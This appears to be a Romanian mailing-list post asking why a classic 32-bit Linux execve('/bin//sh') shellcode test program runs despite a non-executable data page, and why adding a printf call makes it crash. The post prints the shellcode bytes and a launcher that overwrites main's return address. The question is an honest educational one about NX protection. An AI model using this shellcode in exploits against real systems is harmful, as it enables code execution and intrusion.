Buna ziua,<br><br>Sa zicem ca avem urmatorul cod sursa :<br><br>char sc[]=              /* 24 bytes                       */<br>    "\x31\xc0"             /* xorl    %eax,%eax              */<br>    "\x50"                 /* pushl   %eax                   */<br>
    "\x68""//sh"           /* pushl   $0x68732f2f            */<br>    "\x68""/bin"           /* pushl   $0x6e69622f            */<br>    "\x89\xe3"             /* movl    %esp,%ebx              */<br>
    "\x50"                 /* pushl   %eax                   */<br>    "\x53"                 /* pushl   %ebx                   */<br>    "\x89\xe1"             /* movl    %esp,%ecx              */<br>
    "\x99"                 /* cdql                           */<br>    "\xb0\x0b"             /* movb    $0x0b,%al              */<br>    "\xcd\x80"             /* int     $0x80                  */<br>
;<br><br>main()<br>{<br>        int *ret;<br><br>        ret = (int *)&ret + 2;<br>        *ret = sc;<br><br>}<br><br>Ce se intampla in sc[] este un apel execve, pentru un shell (/bin/bash).<br><br>Problema/intrebarea este : DE CE acest cod functioneaza ? (Linux Intel 32-bit),<br>
caci daca compilam si rulam pmap si gdb pe el, vedem o pagina read & exec,<br>de la adresa 0x08048000, in care se alfa main(), si o pagina read & write (but no exec),<br>in care se afla sc[], de la adresa 0x08049000.<br>
<br>In main, tot ce facem este sa suprascriem pe stiva (care este read & write)<br>adresa de return a lui main(), care suprascrisa trimite la cod executabil de la<br>adresa lui sc[], dar sc[] este intr-o pagina fara drept de executie.<br>
<br>So, DE CE functioneaza, totusi ?<br><br>Am testat acest program si pe procesoare cu NX-bit, si cu kernel NX enabled,<br>si pe procesoare mai vechi, fara NX-bit, dar care au si ele kernel ce face rwx pe pagini.<br>(Slackware Linux 13.1, 32-bit, Linux kernel 2.6.33.4, GCC 4.4.4 : ambele cazuri).<br>
<br><br>Partea a 2-a :<br><br>Daca adaugam un apel de functie la sfarsitul lui main(), de exemplu ca mai jos,<br>vom obtine de fiecare data segmentation fault. <br><br>Intrebare : DE CE aici nu "merge", si mai sus "merge" ?<br>
<br>#include <stdio.h><br><br>char sc[]=              /* 24 bytes                       */<br>    "\x31\xc0"             /* xorl    %eax,%eax              */<br>    "\x50"                 /* pushl   %eax                   */<br>
    "\x68""//sh"           /* pushl   $0x68732f2f            */<br>    "\x68""/bin"           /* pushl   $0x6e69622f            */<br>    "\x89\xe3"             /* movl    %esp,%ebx              */<br>
    "\x50"                 /* pushl   %eax                   */<br>    "\x53"                 /* pushl   %ebx                   */<br>    "\x89\xe1"             /* movl    %esp,%ecx              */<br>
    "\x99"                 /* cdql                           */<br>    "\xb0\x0b"             /* movb    $0x0b,%al              */<br>    "\xcd\x80"             /* int     $0x80                  */<br>
;<br><br>main()<br>{<br>        int *ret;<br><br>        ret = (int *)&ret + 2;<br>        *ret = sc;<br>
<br>         printf("Security\n");<br>}<br><br><br>Referinte :<br><a href="http://www.enderunix.org/docs/en/bof-eng.txt" target="_blank">http://www.enderunix.org/docs/en/bof-eng.txt</a><br><a href="http://www.phrack.org/issues.html?issue=49&id=14#article" target="_blank">http://www.phrack.org/issues.html?issue=49&id=14#article</a><br>
<br>Cu gandul ca doar cu o cunoastere temeinica a subiectului<br>si a feature-urilor de securitate pe care le ofera sistemul de operare<br>putem dormi linistiti daca avem servere conectate la Internet :-),<br>va multumesc,<br>
Alexandru